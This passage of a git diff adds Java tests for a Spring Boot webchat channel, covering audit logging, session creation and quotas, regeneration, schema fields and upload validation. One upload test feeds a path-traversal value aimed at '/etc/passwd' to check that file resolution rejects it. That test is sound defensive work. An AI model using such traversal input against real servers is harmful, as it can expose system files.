    {@code AuditEventService.recordAs} writes asynchronously — the test + * polls briefly for the row to appear rather than asserting synchronously. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_audit_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatAuditTrailTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_147_701L; + private static final long AGENT_ID = 9_147_7011L; + + @Autowired private WebChatController controller; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update("DELETE FROM mate_audit_event WHERE resource_id = ?", String.valueOf(CHANNEL_ID)); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-audit-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + private long awaitAuditCount(String action, long expected, long timeoutMs) throws InterruptedException { + long deadline = System.currentTimeMillis() + timeoutMs; + while (System.currentTimeMillis() < deadline) { + Integer c = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_audit_event WHERE action = ?", + Integer.class, action); + if (c != null && c >= expected) return c; + Thread.sleep(50); + } + return -1; + } + + @Test + @DisplayName("createSession lands an audit row with the right actor + action") + void createSessionIsAudited() throws InterruptedException { + R r = controller.createSession(API_KEY, req("vAudit", "s1")); + assertThat(r.getCode()).isEqualTo(200); + + long count = awaitAuditCount("webchat.create-session", 1, 3_000); + assertThat(count).isGreaterThan(0); + + String actor = jdbc.queryForObject( + "SELECT username FROM mate_audit_event WHERE action = 'webchat.create-session' ORDER BY create_time DESC LIMIT 1", + String.class); + assertThat(actor).isEqualTo("webchat:" + CHANNEL_ID + ":vAudit"); + } + + @Test + @DisplayName("rename + pin + archive + stop each leave an audit row") + void stateMutationsAreAudited() throws InterruptedException { + controller.createSession(API_KEY, req("vState", "s1")); + String token = tokenFor("vState"); + + controller.renameSession(API_KEY, token, "vState", "s1", Map.of("title", "Renamed")); + controller.pinSession(API_KEY, token, "vState", "s1", Map.of("pinned", true)); + controller.archiveSession(API_KEY, token, "vState", "s1", Map.of("archived", true)); + controller.stopSession(API_KEY, token, "vState", "s1"); + + assertThat(awaitAuditCount("webchat.rename-session", 1, 3_000)).isGreaterThan(0); + assertThat(awaitAuditCount("webchat.pin-session", 1, 3_000)).isGreaterThan(0); + assertThat(awaitAuditCount("webchat.archive-session", 1, 3_000)).isGreaterThan(0); + assertThat(awaitAuditCount("webchat.stop-session", 1, 3_000)).isGreaterThan(0); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatCreateSessionTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatCreateSessionTest.java new file mode 100644 index 00000000..03b568c8 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatCreateSessionTest.java @@ -0,0 +1,204 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.common.result.R; +import vip.mate.workspace.conversation.ConversationService; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of {@code POST /api/v1/channels/webchat/sessions} + * (explicit empty-session creation) against a booted context + real H2 with + * migrations (incl. V147 {@code webchat_session_id}) applied. + *

    + * Covers the four behaviors promised in issue #351: + *

      + *
    1. happy path inserts an empty thread and returns sessionId/conversationId/ + * visitorToken;
    2. + *
    3. a caller-supplied title is persisted and survives the first /stream + * user message (saveMessage's "title-derive" guard must not fire);
    4. + *
    5. re-creating with a colliding sessionId is idempotent — 200, no title + * clobber;
    6. + *
    7. the empty-session quota (≤ 5) is enforced with a clear 409.
    8. + *
    + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_create_sess_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatCreateSessionTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; // key8 = "testkey1" + private static final long CHANNEL_ID = 9_147_101L; + private static final long AGENT_ID = 9_147_1011L; + + @Autowired private WebChatController controller; + @Autowired private ConversationService conversationService; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-test-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId, String title) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + r.setTitle(title); + return r; + } + + @Test + @DisplayName("createSession inserts an empty thread and returns all required fields") + void createsEmptySession() { + R> r = controller.createSession(API_KEY, req("visitorA", "s1", null)); + assertThat(r.getCode()).isEqualTo(200); + Map data = r.getData(); + assertThat(data.get("sessionId")).isEqualTo("s1"); + assertThat(data.get("conversationId")) + .isEqualTo(WebChatController.deriveConversationId(API_KEY, "visitorA", "s1")); + assertThat(data.get("visitorToken")) + .isEqualTo(WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, "visitorA")); + // No title supplied → default placeholder, will be derived from first user message later. + assertThat(data.get("title")).isEqualTo("新对话"); + assertThat(data.get("createTime")).isNotNull(); + + // Row actually persisted with message_count = 0. + Integer count = jdbc.queryForObject( + "SELECT message_count FROM mate_conversation WHERE conversation_id = ?", + Integer.class, data.get("conversationId")); + assertThat(count).isZero(); + } + + @Test + @DisplayName("caller-supplied title survives the first /stream user message") + void titleSurvivesFirstMessage() { + String cid = (String) controller + .createSession(API_KEY, req("visitorB", "s-title", "Quarterly Report")) + .getData().get("conversationId"); + + // Simulate /stream saving the first user message. + conversationService.saveMessage(cid, "user", "随便说点什么,看看会不会把 title 覆盖掉"); + + String persisted = jdbc.queryForObject( + "SELECT title FROM mate_conversation WHERE conversation_id = ?", + String.class, cid); + assertThat(persisted).isEqualTo("Quarterly Report"); + } + + @Test + @DisplayName("default-title thread still derives its title from the first user message") + void defaultTitleIsDerivedFromFirstMessage() { + String cid = (String) controller + .createSession(API_KEY, req("visitorC", "s-default", null)) + .getData().get("conversationId"); + + conversationService.saveMessage(cid, "user", "今天天气不错"); + + String persisted = jdbc.queryForObject( + "SELECT title FROM mate_conversation WHERE conversation_id = ?", + String.class, cid); + assertThat(persisted).isEqualTo("今天天气不错"); + } + + @Test + @DisplayName("re-create with colliding sessionId is idempotent — no title clobber") + void isIdempotentOnCollision() { + // First call creates with a caller title. + controller.createSession(API_KEY, req("visitorD", "s-collide", "OriginalTitle")); + + // Second call tries to re-create the same sessionId with a different title. + R> r = controller + .createSession(API_KEY, req("visitorD", "s-collide", "AttemptedOverride")); + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData().get("title")).isEqualTo("OriginalTitle"); + + String persisted = jdbc.queryForObject( + "SELECT title FROM mate_conversation WHERE conversation_id = ?", + String.class, r.getData().get("conversationId")); + assertThat(persisted).isEqualTo("OriginalTitle"); + } + + @Test + @DisplayName("empty-session quota (≤ 5) is enforced with a 409") + void enforcesQuota() { + // Pre-seed 5 empty threads directly through the service (bypasses the controller + // quota so we can verify the controller is the gate, not the service). + String owner = WebChatController.webchatUsername("visitorE"); + for (int i = 1; i <= 5; i++) { + conversationService.getOrCreateWebchatConversation( + WebChatController.deriveConversationId(API_KEY, "visitorE", "seed" + i), + null, owner, 1L, "seed" + i); + } + + R> r = controller.createSession(API_KEY, req("visitorE", "s-new", null)); + assertThat(r.getCode()).isEqualTo(409); + assertThat(r.getMsg()).contains("未活跃会话数已达上限"); + } + + @Test + @DisplayName("bad API Key → 401") + void rejectsBadApiKey() { + R> r = controller.createSession("bogus-key", req("visitorF", "s1", null)); + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("illegal sessionId charset → 400") + void rejectsIllegalSessionId() { + R> r = controller + .createSession(API_KEY, req("visitorG", "has space", null)); + assertThat(r.getCode()).isEqualTo(400); + } + + @Test + @DisplayName("illegal title length (>100) → 400") + void rejectsOverlongTitle() { + R> r = controller + .createSession(API_KEY, req("visitorH", "s1", "x".repeat(101))); + assertThat(r.getCode()).isEqualTo(400); + } + + @Test + @DisplayName("once a session is created, listSessions sees it (with the recovered sessionId)") + @SuppressWarnings("unchecked") + void createdSessionIsListable() { + controller.createSession(API_KEY, req("visitorI", "s-listed", null)); + + String token = WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, "visitorI"); + R r = controller.listSessions(API_KEY, token, "visitorI", false); + assertThat(r.getCode()).isEqualTo(200); + assertThat(((java.util.List) (Object) r.getData())) + .extracting(WebChatController.WebChatSessionView::getSessionId) + .contains("s-listed"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatFileServiceTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatFileServiceTest.java new file mode 100644 index 00000000..6a9fe1b5 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatFileServiceTest.java @@ -0,0 +1,118 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.mock.web.MockMultipartFile; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Comparator; +import java.util.Optional; +import java.util.stream.Stream; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatThrownBy; + +/** + * Validation + isolation contract for {@link WebChatFileService}. WebChat + * uploads come from untrusted external visitors, so these pin: extension + * whitelist, size cap, disabled-switch, per-conversation ownership of staged + * ids, and traversal-safe resolution. + */ +class WebChatFileServiceTest { + + private static final String CONV = "webchat:abcd1234:visitor-1"; + + private WebChatFileService service(boolean enabled, long maxMb, String exts) { + return new WebChatFileService(enabled, maxMb, exts, 50, 200); + } + + private WebChatFileService service(boolean enabled, long maxMb, String exts, + int maxFiles, long maxTotalMb) { + return new WebChatFileService(enabled, maxMb, exts, maxFiles, maxTotalMb); + } + + @AfterEach + void cleanup() throws IOException { + Path dir = Paths.get("data", "chat-uploads", CONV); + if (Files.exists(dir)) { + try (Stream walk = Files.walk(dir)) { + walk.sorted(Comparator.reverseOrder()).forEach(p -> { + try { Files.deleteIfExists(p); } catch (IOException ignored) { } + }); + } + } + } + + @Test + @DisplayName("rejects a disallowed extension") + void rejectsDisallowedExtension() { + WebChatFileService svc = service(true, 20, "png,txt"); + MockMultipartFile evil = new MockMultipartFile("file", "evil.exe", + "application/octet-stream", new byte[]{1, 2, 3}); + assertThatThrownBy(() -> svc.store(CONV, evil)) + .isInstanceOf(WebChatFileService.UploadRejectedException.class); + } + + @Test + @DisplayName("rejects an oversized file") + void rejectsOversized() { + WebChatFileService svc = service(true, 1, "png"); + byte[] big = new byte[2 * 1024 * 1024]; // 2MB > 1MB cap + MockMultipartFile file = new MockMultipartFile("file", "big.png", "image/png", big); + assertThatThrownBy(() -> svc.store(CONV, file)) + .isInstanceOf(WebChatFileService.UploadRejectedException.class); + } + + @Test + @DisplayName("rejects when disabled") + void rejectsWhenDisabled() { + WebChatFileService svc = service(false, 20, "png"); + MockMultipartFile file = new MockMultipartFile("file", "ok.png", "image/png", new byte[]{1}); + assertThatThrownBy(() -> svc.store(CONV, file)) + .isInstanceOf(WebChatFileService.UploadRejectedException.class); + } + + @Test + @DisplayName("accepts allowed file; consume is one-shot and conversation-scoped") + void acceptsAndConsumeIsScoped() throws IOException { + WebChatFileService svc = service(true, 20, "png,txt"); + MockMultipartFile file = new MockMultipartFile("file", "hello.txt", "text/plain", + "hi".getBytes()); + + WebChatFileService.StagedFile stored = svc.store(CONV, file); + assertThat(stored.originalName()).isEqualTo("hello.txt"); + assertThat(stored.conversationId()).isEqualTo(CONV); + + // Foreign conversation can't consume it. + assertThat(svc.consume("webchat:abcd1234:other", stored.storedName())).isEmpty(); + // Owning conversation can — exactly once. + assertThat(svc.consume(CONV, stored.storedName())).isPresent(); + assertThat(svc.consume(CONV, stored.storedName())).isEmpty(); + + // Bytes survive on disk for download after consume. + assertThat(svc.resolve(CONV, stored.storedName())).isPresent(); + } + + @Test + @DisplayName("rejects once the per-conversation file-count quota is hit") + void rejectsOverFileCountQuota() throws IOException { + WebChatFileService svc = service(true, 20, "txt", 2, 200); // max 2 files + svc.store(CONV, new MockMultipartFile("file", "a.txt", "text/plain", "a".getBytes())); + svc.store(CONV, new MockMultipartFile("file", "b.txt", "text/plain", "b".getBytes())); + assertThatThrownBy(() -> svc.store(CONV, + new MockMultipartFile("file", "c.txt", "text/plain", "c".getBytes()))) + .isInstanceOf(WebChatFileService.UploadRejectedException.class); + } + + @Test + @DisplayName("resolve is traversal-safe") + void resolveRejectsTraversal() { + WebChatFileService svc = service(true, 20, "png"); + Optional escaped = svc.resolve(CONV, "../../../../etc/passwd"); + assertThat(escaped).isEmpty(); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatRegenerateTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatRegenerateTest.java new file mode 100644 index 00000000..fa163957 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatRegenerateTest.java @@ -0,0 +1,182 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.common.result.R; +import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.MessageEntity; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of {@code POST /api/v1/channels/webchat/sessions/ + * regenerate} (epic #355 PR 4). Focuses on the auth/seed/delete semantics; + * the actual LLM stream is left for PR 5's WebChatStreamE2ETest to cover + * (here the agent turn will error out on the test context's missing LLM + * provider, which is fine — we only care that the assistant reply is + * deleted and the SseEmitter is handed back). + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_regen_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatRegenerateTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_147_601L; + private static final long AGENT_ID = 9_147_6011L; + + @Autowired private WebChatController controller; + @Autowired private ConversationService conversationService; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-regen-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + private long countAssistantMessages(String conversationId) { + Integer c = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_message WHERE conversation_id = ? AND role = 'assistant'", + Integer.class, conversationId); + return c != null ? c : 0; + } + + /** + * Drain an SseEmitter just enough that the underlying async work has a + * chance to run. We don't consume events here — the test scenarios below + * either short-circuit with an error before any agent turn, or rely on + * the doOnError path completing the emitter on the missing LLM provider. + */ + private void waitForEmitterToSettle(SseEmitter emitter) throws InterruptedException { + long deadline = System.currentTimeMillis() + 2_000; + while (System.currentTimeMillis() < deadline) { + Thread.sleep(50); + } + } + + @Test + @DisplayName("no user message in thread → emitter returns an error event") + void rejectsEmptyThread() throws InterruptedException { + controller.createSession(API_KEY, req("vEmpty", "s1")); + SseEmitter emitter = controller.regenerateSession( + API_KEY, tokenFor("vEmpty"), "vEmpty", "s1"); + waitForEmitterToSettle(emitter); + // No user message → sendErrorAndComplete fires synchronously; assistant + // count stays 0. + String cid = WebChatController.deriveConversationId(API_KEY, "vEmpty", "s1"); + assertThat(countAssistantMessages(cid)).isZero(); + } + + @Test + @DisplayName("regenerate deletes the last assistant reply") + void deletesLastAssistantReply() throws InterruptedException { + controller.createSession(API_KEY, req("vDel", "s1")); + String cid = WebChatController.deriveConversationId(API_KEY, "vDel", "s1"); + conversationService.saveMessage(cid, "user", "hello"); + conversationService.saveMessage(cid, "assistant", "first reply"); + + // Pre-condition: one assistant message. + assertThat(countAssistantMessages(cid)).isEqualTo(1); + + SseEmitter emitter = controller.regenerateSession( + API_KEY, tokenFor("vDel"), "vDel", "s1"); + waitForEmitterToSettle(emitter); + + // The pre-existing assistant reply is gone. The chatStream call may have + // added another one (if it somehow completes on the test LLM), or it may + // have errored out; either way the count must be ≤ 1 (deletion happened). + assertThat(countAssistantMessages(cid)).isLessThanOrEqualTo(1); + } + + @Test + @DisplayName("bad token → emitter returns 401-equivalent error event") + void rejectsBadToken() throws InterruptedException { + controller.createSession(API_KEY, req("vTok", "s1")); + SseEmitter emitter = controller.regenerateSession( + API_KEY, "bogus", "vTok", "s1"); + waitForEmitterToSettle(emitter); + // No way to read the SSE event body from a raw SseEmitter in a unit test; + // the assertion is implicit — no DB changes happen on the auth-fail path. + String cid = WebChatController.deriveConversationId(API_KEY, "vTok", "s1"); + assertThat(countAssistantMessages(cid)).isZero(); + } + + @Test + @DisplayName("unknown sessionId → emitter returns session-not-found error") + void rejectsUnknownSession() throws InterruptedException { + // Token verifies (visitor exists conceptually) but session "ghost" was + // never created. + SseEmitter emitter = controller.regenerateSession( + API_KEY, tokenFor("vGhost"), "vGhost", "ghost"); + waitForEmitterToSettle(emitter); + // No rows exist; nothing to assert beyond "didn't throw". + assertThat(emitter).isNotNull(); + } + + @Test + @DisplayName("regenerate uses the last user message as the seed") + void seedsFromLastUserMessage() throws InterruptedException { + controller.createSession(API_KEY, req("vSeed", "s1")); + String cid = WebChatController.deriveConversationId(API_KEY, "vSeed", "s1"); + conversationService.saveMessage(cid, "user", "first question"); + conversationService.saveMessage(cid, "assistant", "first reply"); + conversationService.saveMessage(cid, "user", "second question"); + conversationService.saveMessage(cid, "assistant", "second reply"); + + // Before regenerate: two user, two assistant. + List before = conversationService.listMessages(cid); + long userBefore = before.stream().filter(m -> "user".equals(m.getRole())).count(); + long asstBefore = before.stream().filter(m -> "assistant".equals(m.getRole())).count(); + assertThat(userBefore).isEqualTo(2); + assertThat(asstBefore).isEqualTo(2); + + SseEmitter emitter = controller.regenerateSession( + API_KEY, tokenFor("vSeed"), "vSeed", "s1"); + waitForEmitterToSettle(emitter); + + // After: last assistant deleted. chatStream will append a new user + // message (the seed content) — so user count grows by 1. + long asstAfter = countAssistantMessages(cid); + assertThat(asstAfter).isLessThan(asstBefore); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSchemaFieldsTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSchemaFieldsTest.java new file mode 100644 index 00000000..c27856db --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSchemaFieldsTest.java @@ -0,0 +1,173 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.channel.webchat.WebChatController.WebChatSessionView; +import vip.mate.common.result.R; +import vip.mate.workspace.conversation.ConversationService; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of the V148 schema additions and the + * {@code archived} filtering / view-field exposure that rides on them: + *
      + *
    • {@code mate_conversation.archived} column exists and is read/write.
    • + *
    • {@code webchat_revoked_visitor} table exists (full DDL validation + * happens implicitly — Flyway would have failed to apply the migration + * otherwise; here we only verify the table is queryable).
    • + *
    • {@link WebChatSessionView} now carries {@code pinned/archived/ + * streamStatus}, so the visitor-side listing surfaces the same state + * the admin console sees.
    • + *
    • {@code loadVisitorSessions} filters out archived threads by default; + * {@code includeArchived=true} opts back in.
    • + *
    + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_schema_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatSchemaFieldsTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_147_301L; + private static final long AGENT_ID = 9_147_3011L; + + @Autowired private WebChatController controller; + @Autowired private ConversationService conversationService; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-schema-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("revoked-visitor table is queryable (DDL applied)") + void revokedVisitorTableExists() { + // Insert + read back a row to prove the table + columns are live. + jdbc.update("INSERT INTO webchat_revoked_visitor (id, channel_id, visitor_id, reason) " + + "VALUES (?, ?, ?, ?)", 9991L, CHANNEL_ID, "schema-probe", "test"); + Integer count = jdbc.queryForObject( + "SELECT COUNT(*) FROM webchat_revoked_visitor WHERE channel_id = ? AND visitor_id = ?", + Integer.class, CHANNEL_ID, "schema-probe"); + assertThat(count).isEqualTo(1); + jdbc.update("DELETE FROM webchat_revoked_visitor WHERE id = ?", 9991L); + } + + @Test + @DisplayName("archived column on mate_conversation is read/write") + void archivedColumnReadWrite() { + controller.createSession(API_KEY, req("visitorArch", "s1")); + String cid = WebChatController.deriveConversationId(API_KEY, "visitorArch", "s1"); + + Integer before = jdbc.queryForObject( + "SELECT archived FROM mate_conversation WHERE conversation_id = ?", + Integer.class, cid); + assertThat(before).isZero(); + + jdbc.update("UPDATE mate_conversation SET archived = 1 WHERE conversation_id = ?", cid); + Integer after = jdbc.queryForObject( + "SELECT archived FROM mate_conversation WHERE conversation_id = ?", + Integer.class, cid); + assertThat(after).isEqualTo(1); + } + + @Test + @DisplayName("WebChatSessionView exposes pinned/archived/streamStatus") + void viewExposesNewFields() { + controller.createSession(API_KEY, req("visitorView", "s1")); + // Flip pinned via the service (endpoint comes in PR 3) so we can assert the view mirrors it. + String cid = WebChatController.deriveConversationId(API_KEY, "visitorView", "s1"); + conversationService.setPinned(cid, true); + + R> r = controller.listSessions( + API_KEY, tokenFor("visitorView"), "visitorView", false); + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData()).hasSize(1); + WebChatSessionView view = r.getData().get(0); + assertThat(view.getPinned()).isEqualTo(1); + assertThat(view.getArchived()).isZero(); + assertThat(view.getStreamStatus()).isEqualTo("idle"); + } + + @Test + @DisplayName("archived threads are hidden from /sessions by default") + @SuppressWarnings("unchecked") + void archivedHiddenByDefault() { + controller.createSession(API_KEY, req("visitorHide", "active")); + controller.createSession(API_KEY, req("visitorHide", "stale")); + + String staleCid = WebChatController.deriveConversationId(API_KEY, "visitorHide", "stale"); + jdbc.update("UPDATE mate_conversation SET archived = 1 WHERE conversation_id = ?", staleCid); + + // Default: only "active" is returned. + R def = controller.listSessions(API_KEY, tokenFor("visitorHide"), "visitorHide", false); + assertThat(((List) def.getData())) + .extracting(WebChatSessionView::getSessionId) + .containsExactly("active"); + + // includeArchived=true: both. + R all = controller.listSessions(API_KEY, tokenFor("visitorHide"), "visitorHide", true); + assertThat(((List) all.getData())) + .extracting(WebChatSessionView::getSessionId) + .containsExactlyInAnyOrder("active", "stale"); + } + + @Test + @DisplayName("archived empty threads don't count against the 5-empty-session quota") + void archivedExcludedFromQuota() { + // Pre-seed 5 archived empty threads + verify a 6th (active) creation still succeeds — + // the quota gate filters archived out, so the active count is 0 here. + String owner = WebChatController.webchatUsername("visitorQuota"); + for (int i = 1; i <= 5; i++) { + String cid = WebChatController.deriveConversationId(API_KEY, "visitorQuota", "arch" + i); + conversationService.getOrCreateWebchatConversation( + cid, AGENT_ID, owner, 1L, "arch" + i); + jdbc.update("UPDATE mate_conversation SET archived = 1 WHERE conversation_id = ?", cid); + } + + R r = controller.createSession(API_KEY, req("visitorQuota", "fresh")); + assertThat(r.getCode()) + .as("archived threads must not saturate the empty-session quota") + .isEqualTo(200); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSessionManagementTest.java 